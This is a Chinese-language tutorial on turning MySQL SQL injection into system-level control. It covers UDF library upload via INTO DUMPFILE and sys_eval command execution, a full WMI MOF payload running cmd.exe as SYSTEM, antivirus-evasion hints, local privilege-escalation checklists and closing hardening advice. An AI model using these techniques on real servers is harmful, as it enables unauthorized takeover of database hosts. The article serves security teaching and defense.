MySQL注入提权实战:从数据库漏洞到系统权限的完整攻防解析

📅 2026/7/29 13:29:32 👁️ 阅读次数 📝 编程学习
MySQL注入提权实战:从数据库漏洞到系统权限的完整攻防解析

1. 从注入到提权:一次完整的权限跃迁实战

搞安全测试或者渗透的朋友,对SQL注入肯定不陌生。我们经常能通过一个注入点拿到数据库里的数据,比如管理员账号密码、用户手机号,这就算告一段落了。但很多时候,目标远不止于此。如果这个数据库是MySQL,并且我们获取到的数据库连接权限足够高(比如root),那么故事才刚刚开始——“注入提权”才是真正把数据库漏洞价值最大化的关键一步。简单来说,注入是拿到了“数据库”这间屋子的钥匙,而提权则是利用这把钥匙,想办法拿到整个“服务器”这座大厦的管理员权限。今天要聊的,就是基于MySQL,如何从一次成功的SQL注入出发,完成向系统权限的华丽转身。这不仅仅是CTF比赛里的炫技,在真实的授权安全评估中,理解这个链条能帮你更深刻地评估漏洞的实际危害。

2. 提权路径总览:为什么是UDF和MOF?

当我们通过SQL注入获得了MySQL数据库的高权限连接(通常指具有FILE_PRIV权限,能读写服务器文件)后,摆在我们面前的主要有几种经典的提权思路。理解这些路径的原理和适用场景,比死记命令更重要。

2.1 核心思路:利用MySQL的功能执行系统命令

MySQL本身是一个数据库服务,它默认没有直接执行操作系统命令的功能。因此,所有提权方法的本质,都是“借道”MySQL,让它以自身进程的权限(通常是mysqlmysqld用户)去执行我们想要的系统命令。一旦命令被执行,我们就相当于控制了MySQL服务账户,接下来就是围绕这个账户进行本地提权,最终获取rootAdministrator权限。

主要的传统方法有:

  1. UDF(User Defined Function)提权:这是最强大、最灵活的方式。UDF允许用户编写自定义函数并加载到MySQL中。我们可以创建一个包含执行系统命令功能的UDF动态链接库(.dll或.so),将其上传到服务器,并通过MySQL加载它。之后,就能像调用普通SQL函数一样调用我们的恶意函数来执行命令。成功率很高,但依赖目标系统架构和MySQL版本。
  2. MOF(Managed Object Format)提权:这是一个在Windows系统上特有的方法,利用了WMI(Windows Management Instrumentation)的一个特性。MySQL的FILE_PRIV权限允许我们向特定目录(如C:/Windows/system32/wbem/mof/)写入一个.mof文件。该目录下的.mof文件会被系统定时编译执行。我们可以写入一个包含执行命令的VBScript的.mof文件,从而实现命令执行。这个方法在旧版本Windows(如Win2003、XP)上几乎百发百中,但在新系统上由于权限收紧,成功率已大大降低。
  3. 启动项提权:利用FILE_PRIV权限,向系统的启动目录写入脚本(如Windows的启动文件夹,Linux的cron计划任务)。当系统重启或特定用户登录时,脚本会自动执行。这个方法不够直接,依赖重启,但在某些特定环境下是可行的备用方案。

2.2 环境侦察:提权前的必备检查清单

在动手之前,盲目操作是大忌。你需要像侦探一样,收集尽可能多的信息来判断哪种方法可行。

首先,确认数据库权限。通过SQL注入点执行以下查询:

SELECT user(); -- 当前连接用户 SELECT super_priv FROM mysql.user WHERE user = user(); -- 是否具有SUPER权限 SELECT file_priv FROM mysql.user WHERE user = user(); -- 是否具有FILE权限

FILE权限是读写服务器文件的基础,没有它,UDF和MOF都无从谈起。SUPER权限在某些操作中也有用。

其次,侦察服务器环境。

SELECT @@version; -- MySQL版本 SELECT @@version_compile_os; -- 操作系统类型 SELECT @@plugin_dir; -- MySQL插件目录的路径!至关重要!

@@plugin_dir的值就是MySQL寻找UDF动态库的目录。你需要确认我们能否通过注入写入文件到这个目录,以及这个目录的路径是什么(例如,Windows可能是C:\Program Files\MySQL\MySQL Server 5.7\lib\plugin\,Linux可能是/usr/lib/mysql/plugin/)。

最后,检查关键目录的写入权限。虽然知道了插件目录,但还需要确认MySQL进程是否有权在该目录创建文件。可以通过尝试写入一个无害文件来测试:

SELECT 'test' INTO OUTFILE 'C:/Windows/system32/test.txt'; -- Windows示例 SELECT 'test' INTO OUTFILE '/tmp/test.txt'; -- Linux示例

如果成功,说明具有写权限。对于UDF提权,你需要确保能写入@@plugin_dir;对于MOF提权,则需要能写入C:/Windows/system32/wbem/mof/(Windows)。

注意:在实际渗透中,INTO OUTFILE可能会因为secure_file_priv系统变量的限制而失败。该变量定义了允许导出文件的目录。你可以通过SHOW VARIABLES LIKE 'secure_file_priv';来查看。如果值为NULL,则禁止导出;如果为具体路径,则只能导出到该路径。这是UDF提权的一个常见障碍。

3. UDF提权详解:手工打造你的“特权函数”

UDF提权是MySQL提权的“瑞士军刀”,一旦成功,你将获得一个稳定的、可通过SQL调用的命令执行后门。整个过程可以分为:制作/获取动态库、上传库文件、创建函数、执行命令。

3.1 动态库的准备与上传

UDF的本质是一个符合MySQL规范的C语言动态链接库。网络上流传着很多现成的库,比如经典的lib_mysqludf_sys.dll(Windows)或lib_mysqludf_sys.so(Linux)。但直接使用他人编译的库风险极高,可能被植入后门。在安全测试中,建议在可控环境自行编译。

对于Windows系统,你需要一个dll文件。可以使用Metasploit框架中的sqlmap自带的UDF库,或者从可信源码编译。假设我们有一个名为udf.dll的库,它导出了一个名为sys_exec的函数(用于执行命令并返回退出码)和sys_eval函数(用于执行命令并返回输出)。

上传的关键在于利用MySQL的SELECT ... INTO DUMPFILE语句。DUMPFILE会原样写入二进制数据,而OUTFILE会在行尾添加换行,可能破坏dll文件。

-- 将本地dll文件的16进制形式,通过注入点写入插件目录 -- 首先,在你的攻击机上将udf.dll转换为16进制字符串。可以用Python或`xxd`命令。 -- 例如,用Python: `with open('udf.dll', 'rb') as f: print(f.read().hex())` -- 假设得到的16进制字符串很长,我们将其分段处理。这里仅为示例,实际需要完整的hex。 -- 创建一个临时表来存储二进制数据 CREATE TABLE temp_udf (data LONGBLOB); -- 将16进制数据插入表中。注意,数据很长,需要拼接。 -- 假设你的hex是 4D5A9000...,使用UNHEX函数转换 INSERT INTO temp_udf (data) VALUES (UNHEX('4D5A9000...(完整的hex字符串)')); -- 将数据从表中写入插件目录的文件 SELECT data FROM temp_udf INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.7/lib/plugin/udf.dll'; -- 清理临时表 DROP TABLE temp_udf;

这个过程对注入点的稳定性要求较高,长字符串的传输可能出错。在实际中,工具如sqlmap自动化了这个过程。

对于Linux系统,原理相同,只是库文件是.so,路径是类似/usr/lib/mysql/plugin/。你需要对应架构(x86/x64)的so文件。

3.2 创建函数与命令执行

库文件上传成功后,就可以在MySQL中创建自定义函数来链接这个库。

-- 创建 sys_exec 函数,链接到我们上传的库中的对应函数 CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.dll'; -- Windows -- 对于Linux: CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.so';

如果提示“ERROR 1126 (HY000): Can‘t open shared library‘...”,通常意味着库文件没找到(路径不对)、架构不匹配(32位/64位),或者库文件损坏。

创建成功后,这个函数就可以像内置函数一样使用了:

-- 调用 sys_exec 执行命令,返回命令的退出码 SELECT sys_exec('whoami'); -- 如果库提供了 sys_eval 函数,它会更实用,因为它返回命令的输出 CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; SELECT sys_eval('whoami');

当看到SELECT sys_eval('whoami');返回了mysqlmysqld时,恭喜你,你已经以数据库服务用户的身份在执行系统命令了。

3.3 实操心得与避坑指南

  1. 插件目录权限是最大拦路虎:现代操作系统和MySQL的默认安装越来越安全。@@plugin_dir目录通常只允许rootAdministrator以及mysql用户本身写入。即使你有FILE权限,MySQL进程也可能因为目录的访问控制列表(ACL)而无法写入。这是UDF提权失败最常见的原因。
  2. secure_file_priv的绕过:如果secure_file_priv被设置为一个特定目录(如/var/lib/mysql-files/),你无法直接写入插件目录。可以尝试:
    • 查看该目录是否可通过符号链接(symlink)指向插件目录?(通常不行,权限不足)。
    • 寻找Web目录等MySQL有写权限的地方,上传库文件,然后尝试通过mvcopy命令(通过已创建的UDF函数执行)将文件移动到插件目录。这需要mysql用户对目标目录有移动文件的权限。
  3. 架构兼容性问题:务必使用与目标MySQL和操作系统匹配的UDF库。64位的MySQL需要64位的库。用file命令检查一下你准备的库文件。
  4. 杀毒软件:在Windows环境下,上传的恶意dll文件很可能被防病毒软件实时检测并删除。需要做免杀处理,或者寻找已白名单的、合法的dll进行劫持(难度较高)。

4. MOF提权详解:利用Windows管理规范的“老派”方法

MOF提权是Windows系统上一个非常经典的漏洞利用方式,严格来说它利用的是WMI的漏洞,而非MySQL的漏洞。MySQL在这里只是作为一个文件写入的工具。

4.1 MOF文件的工作原理

在Windows系统中,C:/Windows/system32/wbem/mof/目录下的.mof文件会被WMIProvhost.exe进程定期(约每5-10秒)编译执行。这个功能本意是让管理员方便地部署WMI类。如果我们能在这个目录下写入一个包含恶意VBScript代码的.mof文件,该代码就会以SYSTEM权限执行。

4.2 利用MySQL写入MOF文件

前提同样是MySQL连接具有FILE权限,并且能写入上述系统目录。由于该目录权限通常很严格,在Windows Vista及之后的系统上,mysql用户账户基本没有写入权限,因此该方法主要适用于Windows Server 2003等老旧系统。

MOF文件内容示例(nullevt.mof):

#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "VBScript"; ScriptText = "Set objShell = CreateObject(\"WScript.Shell\")\n" "objShell.Run \"cmd.exe /c whoami > C:\\windows\\temp\\test.txt\"\n"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };

这个文件创建了一个WMI事件过滤器,当系统时间秒数为5时(即每分钟左右触发一次),触发一个ActiveScript事件消费者,执行一段VBScript,这里运行了whoami命令并将结果输出到文件。

通过MySQL注入写入:

SELECT unhex('...MOF文件的16进制内容...') INTO DUMPFILE 'C:/Windows/system32/wbem/mof/nullevt.mof';

写入后,等待最多一分钟,检查C:\windows\temp\test.txt文件是否生成。如果生成且内容是nt authority\system,则提权成功。

4.3 MOF提权的局限性

  1. 权限问题:如前所述,现代Windows系统(如Win7, Win10, Server 2008+)对system32目录的写入权限管控极严,非SYSTEM或TrustedInstaller账户几乎无法写入。这使得该方法在当今环境下基本失效。
  2. 临时性:MOF提权产生的进程是临时的,命令执行完就结束。虽然可以通过写入启动项、创建服务等方式将权限持久化,但初始的写入点已经很难获得。
  3. 日志记录:WMI操作会在系统日志中留下记录,容易被发现。

5. 本地信息收集与权限提升

无论通过UDF还是MOF,当你获得了一个mysql用户权限的命令执行shell后,你得到的通常是一个低权限的系统账户。接下来的目标是将其提升为rootAdministrator。这就是常规的本地提权环节,与MySQL关系不大了,但却是完整攻击链的一部分。

5.1 Linux系统信息收集与提权

在Linux的mysql用户shell下:

  1. 系统信息uname -a,cat /etc/issue,cat /etc/*-release
  2. 内核版本:内核漏洞是提权的重要途径。cat /proc/version
  3. 用户和权限id,whoami,sudo -l(如果mysql用户有sudo权限且不需要密码,那简直是“意外之喜”)。
  4. 进程与服务ps aux,netstat -tulnp,寻找以root运行的服务或进程。
  5. SUID/GUID文件find / -perm -u=s -type f 2>/dev/null,查找设置了SUID位的文件,如find,vim,bash,cp,mv等,如果属于root,可能被利用。
  6. 计划任务crontab -l,ls -la /etc/cron*, 查看是否有全局计划任务,其脚本是否可写。
  7. 利用内核漏洞:根据收集到的内核版本,搜索对应的公开漏洞(如DirtyCow, CVE-2021-4034等),下载或编译对应的exp,上传并执行。

5.2 Windows系统信息收集与提权

在Windows的mysql用户shell(或通过UDF执行命令)下:

  1. 系统信息systeminfo, 查看系统版本、补丁情况。
  2. 用户信息whoami /priv, 查看当前用户权限。net user,net localgroup administrators查看用户和组。
  3. 服务sc query,wmic service get name,displayname,pathname,startmode,寻找以SYSTEM运行、且二进制文件路径(pathname)可写的服务。如果能替换服务对应的exe文件,重启服务后就能以SYSTEM权限执行我们的代码。
  4. 计划任务schtasks /query /fo LIST /v,查看计划任务,寻找以高权限运行且操作可写的任务。
  5. AlwaysInstallElevated:检查注册表项HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevatedHKLM\...是否设置为1。如果是,则任何MSI安装包都会以高权限运行。
  6. 利用未打补丁的漏洞:使用systeminfo的输出,与已知的提权漏洞列表(如Juicy Potato, PrintNightmare, CVE-2021-1675等)进行比对,寻找可用的本地提权EXP。

6. 防御视角:如何让你的MySQL“固若金汤”

站在防御者角度,了解攻击手法才能有效布防。

  1. 最小权限原则:为Web应用连接数据库分配绝对最小权限的账户。永远不要使用root或具有FILESUPERPROCESS等敏感权限的账户作为应用连接账户。只授予其特定库、特定表的SELECTINSERTUPDATEDELETE权限。
  2. 杜绝SQL注入:这是所有问题的源头。使用参数化查询(Prepared Statements)或ORM框架,严格过滤和校验所有用户输入。
  3. 配置secure_file_priv:在MySQL配置文件(my.cnfmy.ini)中,设置secure_file_priv为一个非空、特定的目录(如/var/lib/mysql-files/),并确保该目录权限严格,禁止MySQL访问其他目录。最佳实践是将其设置为NULL,彻底禁用LOAD DATA INFILESELECT ... INTO OUTFILE语句。
  4. 严格控制plugin_dir权限:确保MySQL的插件目录只对mysql用户和root用户可写,其他用户无任何权限。并定期检查该目录下是否有来历不明的.dll.so文件。
  5. 运行于非特权账户:确保MySQL服务进程以独立的、低权限的系统用户(如mysql)运行,而不是root。这可以限制即使被攻破,攻击者获得的初始权限也较低。
  6. 网络隔离:将MySQL数据库部署在内网,禁止公网直接访问。通过防火墙策略,只允许特定的应用服务器IP访问数据库的3306端口。
  7. 定期更新与审计:及时为MySQL和操作系统打上安全补丁。启用MySQL的通用查询日志或审计插件,定期审查异常查询,特别是涉及INTO DUMPFILECREATE FUNCTION、访问mysql.user表等敏感操作的日志。
  8. 文件系统权限加固:在Windows上,严格限制对C:\Windows\system32\wbem\mof\等敏感目录的写入权限。在Linux上,使用适当的文件系统访问控制。

7. 总结与反思:技术之外的思考

从一次简单的SQL注入,到最终可能拿到服务器最高权限,这个链条清晰地展示了安全风险的传导性。它告诉我们,一个看似“仅泄露数据”的中危漏洞,在特定条件下完全可能演变成导致全线失守的高危甚至严重漏洞。

在渗透测试中,掌握UDF这类提权技术是专业能力的体现。但在实际工作中,尤其是在甲方安全建设或蓝队防御中,我们的重心更应该放在切断这个链条的起始环节——即通过安全开发、严格配置和权限最小化,让攻击者即使发现了注入点,也无法获得FILE权限,或者获得权限后也寸步难行。安全是一个体系,任何一个环节的短板都可能被利用。理解攻击者的全套手法,不是为了滥用,而是为了能更有针对性地构建起真正有效的防御纵深。每一次成功的防御,都是对攻击链最深刻的理解。